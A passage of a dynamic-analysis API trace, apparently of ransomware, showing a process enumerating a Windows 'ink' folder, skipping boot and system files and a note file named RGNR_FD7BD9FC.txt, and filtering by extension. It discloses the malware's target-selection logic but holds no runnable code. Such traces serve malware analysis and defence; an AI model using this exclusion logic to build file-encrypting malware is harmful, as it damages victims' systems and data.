-1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="ntuser.ini") returned -1 [0058.832] lstrcmpiW (lpString1="mshwgst.dll", lpString2="thumbs.db") returned -1 [0058.832] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.832] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.832] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0058.832] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.832] lstrcpyW (in: lpString1=0x1eb62e, lpString2="mshwLatin.dll" | out: lpString1="mshwLatin.dll") returned="mshwLatin.dll" [0058.832] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll") returned=".dll" [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="autorun.inf") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="boot.ini") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="bootfont.bin") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="bootsect.bak") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="bootmgr") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="bootmgr.efi") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="bootmgfw.efi") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="desktop.ini") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="iconcache.db") returned 1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="ntldr") returned -1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="ntuser.dat") returned -1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="ntuser.dat.log") returned -1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="ntuser.ini") returned -1 [0058.832] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="thumbs.db") returned -1 [0058.832] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.832] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.832] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0058.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0058.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74aca1e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74aca1e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0058.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0058.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74ef4860, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74ef4860, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0058.832] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710c49a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.832] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.832] lstrcpyW (in: lpString1=0x1eb62e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.833] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.833] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.833] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f1a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f1a9c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0058.833] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0058.833] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.833] lstrcpyW (in: lpString1=0x1eb62e, lpString2="rtscom.dll" | out: lpString1="rtscom.dll") returned="rtscom.dll" [0058.833] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned=".dll" [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="autorun.inf") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="boot.ini") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="bootfont.bin") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="bootsect.bak") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="bootmgr") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="bootmgr.efi") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="bootmgfw.efi") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="desktop.ini") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="iconcache.db") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="ntldr") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="ntuser.dat") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="ntuser.dat.log") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="ntuser.ini") returned 1 [0058.833] lstrcmpiW (lpString1="rtscom.dll", lpString2="thumbs.db") returned -1 [0058.833] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.833] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.833] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.833] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f66c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f66c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0058.833] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0058.833] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.833] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ShapeCollector.exe" | out: lpString1="ShapeCollector.exe") returned="ShapeCollector.exe" [0058.833] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned=".exe" [0058.833] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.833] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="autorun.inf") returned 1 [0058.833] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="boot.ini") returned 1 [0058.833] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="bootfont.bin") returned 1 [0058.833] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="bootsect.bak") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="bootmgr") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="bootmgr.efi") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="bootmgfw.efi") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="desktop.ini") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="iconcache.db") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="ntldr") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="ntuser.dat") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="ntuser.dat.log") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="ntuser.ini") returned 1 [0058.834] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="thumbs.db") returned -1 [0058.834] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.834] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.834] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.834] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.834] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.834] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.834] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0058.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0058.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fb2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fb2f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0058.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74fd90a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74fd90a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0058.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0058.834] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.834] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TabIpsps.dll" | out: lpString1="TabIpsps.dll") returned="TabIpsps.dll" [0058.834] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll") returned=".dll" [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="autorun.inf") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="boot.ini") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="bootfont.bin") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="bootsect.bak") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="bootmgr") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="bootmgr.efi") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="bootmgfw.efi") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="desktop.ini") returned 1 [0058.834] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="iconcache.db") returned 1 [0058.835] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="ntldr") returned 1 [0058.835] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="ntuser.dat") returned 1 [0058.835] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="ntuser.dat.log") returned 1 [0058.835] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="ntuser.ini") returned 1 [0058.835] lstrcmpiW (lpString1="TabIpsps.dll", lpString2="thumbs.db") returned -1 [0058.835] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.835] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.835] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.835] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0058.835] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.835] lstrcpyW (in: lpString1=0x1eb62e, lpString2="tabskb.dll" | out: lpString1="tabskb.dll") returned="tabskb.dll" [0058.835] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll") returned=".dll" [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="autorun.inf") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="boot.ini") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="bootfont.bin") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="bootsect.bak") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="bootmgr") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="bootmgr.efi") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="bootmgfw.efi") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="desktop.ini") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="iconcache.db") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="ntldr") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="ntuser.dat") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="ntuser.dat.log") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="ntuser.ini") returned 1 [0058.835] lstrcmpiW (lpString1="tabskb.dll", lpString2="thumbs.db") returned -1 [0058.835] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.835] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.835] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.835] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0058.835] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.847] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TabTip.exe" | out: lpString1="TabTip.exe") returned="TabTip.exe" [0058.847] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe") returned=".exe" [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="autorun.inf") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="boot.ini") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="bootfont.bin") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="bootsect.bak") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="bootmgr") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="bootmgr.efi") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="bootmgfw.efi") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="desktop.ini") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="iconcache.db") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="ntldr") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="ntuser.dat") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="ntuser.dat.log") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="ntuser.ini") returned 1 [0058.847] lstrcmpiW (lpString1="TabTip.exe", lpString2="thumbs.db") returned -1 [0058.847] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.847] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.847] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.847] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.848] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.848] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.848] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.848] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75214540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75214540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0058.848] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0058.848] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.848] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TipBand.dll" | out: lpString1="TipBand.dll") returned="TipBand.dll" [0058.848] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned=".dll" [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="autorun.inf") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="boot.ini") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="bootfont.bin") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="bootsect.bak") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="bootmgr") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="bootmgr.efi") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="bootmgfw.efi") returned 1 [0058.848] lstrcmpiW (lpString1="TipBand.dll", lpString2="desktop.ini") returned 1 